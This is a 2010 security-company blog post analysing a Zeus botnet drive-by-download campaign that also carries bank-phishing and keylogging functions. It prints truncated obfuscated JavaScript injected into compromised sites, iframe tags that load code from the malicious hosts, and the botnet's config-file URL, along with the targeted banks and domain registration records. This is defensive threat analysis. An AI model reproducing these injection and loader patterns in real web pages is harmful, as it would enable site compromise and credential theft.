Dasient Blog: More Zeus via drive-by, now improved with targeted phishing against banks

Wednesday, June 23, 2010

More Zeus via drive-by, now improved with targeted phishing against banks

By Tufan Demir, Neil Daswani, Rajesh G.

Date first added to infection library: June 8, 2010
Infection library link: http://wam.dasient.com/wam/infection_library/cdc7f46229a8abfcad40538bfe08f1bd

The Zeus botnet has been spreading via drive-by-download since late last year (e.g. http://www.scmagazineus.com/zeus-spreading-through-drive-by-download/article/158691/), but as they say in the security community -- attacks only get better. In such previous cases, the goal of the drive-by-download was singular: have the infected client machine join the Zeus botnet and await further instructions. Dasient's researchers (using data from Dasient's telemetry systems) not only see Zeus malware continue to be distributed via drive-by-download, but such malware also has a second purpose: to distribute targeted phishing kits against the financial sector, including banks such as Citibank and HSBC. After joining the Zeus botnet, an infected machine will start keystroke logging to phish user credentials for banking web sites when the user casually visits bank home pages. In the following, we describe the technical details.

The combined Zeus/phishing kit malware drive-by-download is distributed via the malicious domain gate4ads.info (although other domains have been used as well). The gate4ads.info domain serves a malicious iframe that appears as follows on infected web pages:


<body><script language='javascript' type='text/javascript'>
var oVoid='oVoid'.substring(42997, 42997);
var yWord;
function jArcG(jArcG){return 'jArcG'};
yWord='%6b%60%68%69...

This script appears differently on each infected domain. Here's another example of the script:


<body class="dc-home"><script language='javascript' type='text/javascript'>
this.wordOn=53159;
var cEnvCont;
var pakCon='pakCon'.substring(3674, 3674);
cEnvCont='%bd%bd%bd%bb...

Even though the malicious script is polymorphic, its behavior doesn't change. It creates the following malicious iframe:


<iframe frameborder=0 src='http://gate4ads.info/t/'>

This iframe in turn creates another iframe:


<iframe src='http://itspitsp.com/elleO_o_/index.php?s=[random chars]&[random chars]' width=[random num] height=[random num] frameborder='0'>

The Malware Behavior

The binary that comes down to the user's machine is called updates.exe, and is placed in the temp folder on the user's machine:

http://www.virustotal.com/analisis/af6288cab4f0b0351ffc01a8a8386d476f423f590be47cc85c54850cc6dbf642-1276130170

The binary replaces C:\WINDOWS\system32\sdra64.exe with the new file "updates.exe" and creates a registry entry to enable it to start automatically on reboot. Creating such a registry entry is a common technique that attackers use to make sure their malware always runs even when the user reboots their machine.

This executable attempts to get the PC to join the Zeus botnet.
http://anubis.iseclab.org/?action=result&task_id=176041d5651e7ef84299f5ddb50a8b1f1&format=html

It gets the configuration file from this url:
itspitsp.com/zeusO_o_/conf13.bin

This configuration file is in encrypted format. The virus decrypts it with the key hidden in its body. The decrypted configuration file tells the virus which bank sites to monitor. When the user visits one of the following urls, the virus will intercept the traffic and present a fake webpage to steal user credentials such as account number, user id and password, transaction numbers etc. The stolen information is logged and delivered to a drop site at a later point in time.

The list of banks that are being targeted:

1. http://internetbanking.gad.de/banking/
2. http://hsbc.co.uk
3. http://www.mybank.alliance-leicester.co.uk
4. http://www.citibank.de

Source of Attack

gate4ads. info is registered in Netherlands.

Domain ID:D33147654-LRMS
Domain Name:GATE4ADS.INFO
Created On:01-Jun-2010 04:39:28 UTC
Last Updated On:01-Jun-2010 18:45:48 UTC
Expiration Date:01-Jun-2011 04:39:28 UTC
Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. dba PublicDomainRegistry.com
(R159-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:

The domain itspitsp.com resolves to a server hosted in China:

Domain name: itspitsp.com
Status: Active

Protection Status: public
( make contact info private at http://www.now.cn/domain/domainPrivate.php )

Registrant:
Name: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000

Administrative Contact:
Name: itspitsp.com
Organization: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000
Phone: +84.7562425583
Fax: +84.5762425583
Email:

Summary

The gate4ads .info attack is novel in that it propagates a virus with dual purposes: (1) adding end user PCs to the Zeus botnet, and (2) distributing targeted phishing and keystroke logging attacks against the financial sector. Also noteworthy is that the malware infection planted on websites is polymorphic in nature-- the javascript "attack string" injected onto each compromised legitimate website is different than the others. Thus, a signature-based approach for identifying the malware infection on websites would not succeed. Dasient's malware analysis engine, which primarily uses behavioral-based technology, identifies such malware infections every time.

According to Google, the gate4ads .info site was involved in infecting 642 other sites. (http://google.com/safebrowsing/diagnostic?site=gate4ads.info&hl=en). All of these sites, were they leveraging Dasient's Web Anti-Malware (WAM) monitoring and remediation services, would have been able to identify and contain this malware attack prior to getting blacklisted by Google. More importantly, the sites would have been able to protect their users from being infected with the virus that would add their PC to the Zeus botnet and keystroke log their banking passwords.

Financial institutions are specifically at risk from the gate4ads .info attack. If this attack was able to successfully penetrate the website of one of the banks being targeted with the keystroke logging, then all of that bank's users would be at risk for having their credentials stolen. Clearly, this would be a major security breach for the bank, and would allow the attackers to compromise large numbers of user accounts. Also as important, if it was discovered that a bank's website was compromised and was serving malware, this would result in major brand and reputation losses for the bank.

Dasient provides specific services for banks and financial institutions to secure them from web-based malware attacks. For more details, visit http://wam.dasient.com/wam/products_overview.